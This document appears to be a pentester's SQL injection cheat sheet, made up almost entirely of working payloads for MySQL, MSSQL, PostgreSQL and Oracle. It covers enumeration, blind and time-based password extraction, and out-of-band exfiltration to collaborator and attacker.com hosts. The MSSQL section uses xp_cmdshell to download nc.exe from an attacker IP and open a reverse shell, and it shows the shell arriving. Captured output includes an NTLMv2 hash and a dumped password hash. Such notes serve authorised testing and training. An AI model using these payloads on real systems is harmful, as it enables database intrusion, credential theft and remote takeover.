' UNION SELECT @@version (MySQL, MSSQL, MariaDB)' UNION SELECT version() (PostgreSQL)' SELECT * FROM v$version (Oracle)' UNION SELECT BANNER,NULL FROM+ v$version-- (Oracle)
List tables
// PostgreSQL, MySQL, MSSQL' UNION SELECT * FROM information_schema.tables--' UNION SELECT table_name FROM information_schema.tables--// Oracle' SELECT * FROM all_Tables' SELECT table_name FROM all_Tables
List columns
// PostgreSQL, MySQL, MSSQL' UNION SELECT * FROM information_schema.columns WHERE table_name = 'users'' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--// Oracle' SELECT * from all_tab_columns where table_name='USERS'' SELECT column_name from all_tab_columns where table_name='USERS'
Get data from columns
// PostgreSQL, MySQL, MSSQL' UNION SELECT concat(username,':',password) FROM users--// Oracle' UNION SELECT NULL,CONCAT(USERNAME_IWCQRK,PASSWORD_EZRXUN) from USERS_WBJRGG--
Number of columns
// MySQL and MSSQL (Try with comment # or--)' ORDER BY 1--' ORDER BY 2--' ORDER BY 3
OR
// MySQL and MSSQL (Try with comment # or--)' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- ' UNION SELECT NULL,NULL,NULL--
OR
// Oracle (Try with comment ; or--)' UNION SELECT NULL FROM v$version--' UNION SELECT NULL,NULL from v$version--' UNION SELECT NULL,NULL,NULL from v$version--
Find column with useful data type
' UNION SELECT 'a',NULL,NULL,NULL-- ' UNION SELECT NULL,'a',NULL,NULL-- ' UNION SELECT NULL,NULL,'a',NULL-- ' UNION SELECT NULL,NULL,NULL,'a'--
If the data type of a column is not compatible with string data, the injected query will cause a database error, such as:
Conversion failed when converting the varcharvalue'a'todatatypeint.
Substring
// PostgreSQL, MySQL, MSSQL' SUBSTRING('foobar', 4, 2) (Returns 'ba')' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'),20,1) ='a// Oracle' SUBSTR('foobar', 4, 2) (Returns 'ba')
Case
xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='axyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a
These inputs use the CASE keyword to test a condition and return a different expression depending on whether the expression is true. With the first input, the CASE expression evaluates to 'a', which does not cause any error. With the second input, it evaluates to 1/0, which causes a divide-by-zero error. Assuming the error causes some difference in the application's HTTP response, we can use this difference to infer whether the injected condition is true.
Using this technique, we can retrieve data in the way already described, by systematically testing one character at a time:
xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a
Examples:
// Verify user 'administrator'intable'users' (Oracle)UNION SELECT CASE WHEN (username ='administrator') THEN to_char(1/0) ELSE NULL END FROM users--// Loop through passwordfor user (Oracle)UNION SELECT CASE WHEN (username ='administrator' AND SUBSTR(password,1,1) ='a') THEN to_char(1/0) ELSE NULL END FROM users--
Time delay
// Oracledbms_pipe.receive_message(('a'),10) SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual // MSSQLWAITFOR DELAY '0:0:10'IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'// PostgreSQLSELECT pg_sleep(10)SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) ENDCookie: TrackingId=abc'||pg_sleep(10)--Cookie: TrackingId=abc'||(SELECT pg_sleep(10))--Cookie: TrackingId=abc'||(SELECT CASE WHEN (username = 'administrator') THEN pg_sleep(5) ELSE NULL END FROM users)--Cookie: TrackingId=abc'||(SELECT CASE WHEN (username ='administrator' AND SUBSTRING(password,1,1) ='a') THEN pg_sleep(3) ELSE NULL END FROM users)--// MySQLSELECT SLEEP(10)SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a') '; IF (1=1) WAITFOR DELAY '0:0:10'--'; IF (SELECT COUNT(Username) FROM Users WHERE Username ='Administrator' AND SUBSTRING(Password, 1, 1) >'m') =1 WAITFOR DELAY '0:0:{delay}'--
Out-of-Band techniques
Oracle
// XXE to trigger a DNS lookup. Patched but work on older installations.UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual--// XXE + exfilUNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.ewel1ekasfo1ftfihwmt30du4lacy4vsk.oastify.com/"> %remote;]>'),'/l') FROM dual--//Works on fully patched installations, but requires elevated privileges. Functions UTL_INADDR.GET_HOST_ADDRESS, UTL_HTTP.REQUEST, HTTP_URITYPE.GETCLOB & DBMS_LDAP.INIT all perform name resolution so either should be fine.SELECT UTL_INADDR.GET_HOST_ADDRESS('BURP-COLLABORATOR-SUBDOMAIN')--// Fully patched name resolution + exfilSELECT DBMS_LDAP.INIT((SELECT password FROM users WHERE username='administrator')||'.BURP-COLLABORATOR-SUBDOMAIN',80) FROM DUAL--
MSSQL
execmaster..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--
PostgreSQL
copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'--
MySQL
// Windows OnlyLOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'// ExfilSELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users WHERE username='Administrator'), '.attacker.com'));SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'
MSSQL
Stacked Queries
xp_dirtree to return a user hash:
user';declare @q varchar(99);set @q='\\192.168.101.225\test';exec xp_dirtree @q--[*] [NBT-NS] Poisoned answer sent to 192.168.101.10 for name WORKGROUP (service: Local Master Browser)[SMB] NTLMv2-SSP Client : 10.0.50.46[SMB] NTLMv2-SSP Username : DOMAIN\username.a[SMB] NTLMv2-SSP Hash : username.a::DOMAIN:2c9d2bf2c4aee111:914CBA6559A82ED310F1526365BC7E8B:0101000000000000003912BC60F8D901D9DD364CA4512AAB0000000002000800580033004B00330001001E00570049004E002D005A0050004D00370036003100460042004A0048004F0004003400570049004E002D005A0050004D00370036003100460042004A0048004F002E00580033004B0033002E004C004F00430041004C0003001400580033004B0033002E004C004F00430041004C0005001400580033004B0033002E004C004F00430041004C0007000800003912BC60F8D90106000400020000000800300030000000000000000000000000300000FCC02A139AFEB40D5BE3A99CF257E567693CB2BAD8EC9ED3E663CBCD7F65F0AC0A001000000000000000000000000000000000000900280063006900660073002F003100390032002E003100360038002E003100300031002E003200320035000000000000000000
Execute code with xp_cmdshell:
## Download nc.exe1';EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;EXEC xp_cmdshell "powershell.exe wget http://192.168.101.225/nc.exe -OutFile c:\\Users\\Public\\nc.exe";--lab ➜ python3 -m http.server 80Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...10.0.50.46 - - [06/Oct/2023 14:50:54] "GET /nc.exe HTTP/1.1" 200 -## Create reverse shell1';EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;EXEC xp_cmdshell "c:\\Users\\Public\\nc.exe -e cmd.exe 192.168.101.225 4488";--lab ➜ nc -lvnp 443listening on [any] 443 ...connectto [192.168.101.225] from (UNKNOWN) [10.0.50.46] 51764Microsoft Windows [Version 10.0.17763.2145](c) 2018 Microsoft Corporation. All rights reserved.C:\Windows\system32>whoamidomain\username.a
MariaDB / MySQL
Dump username and password from table user:
1'UNION SELECT 1,group_concat(username,0x3a,password),3 FROM user-- -james_mason:fc895d4eddc2fc12f995e18c865cf273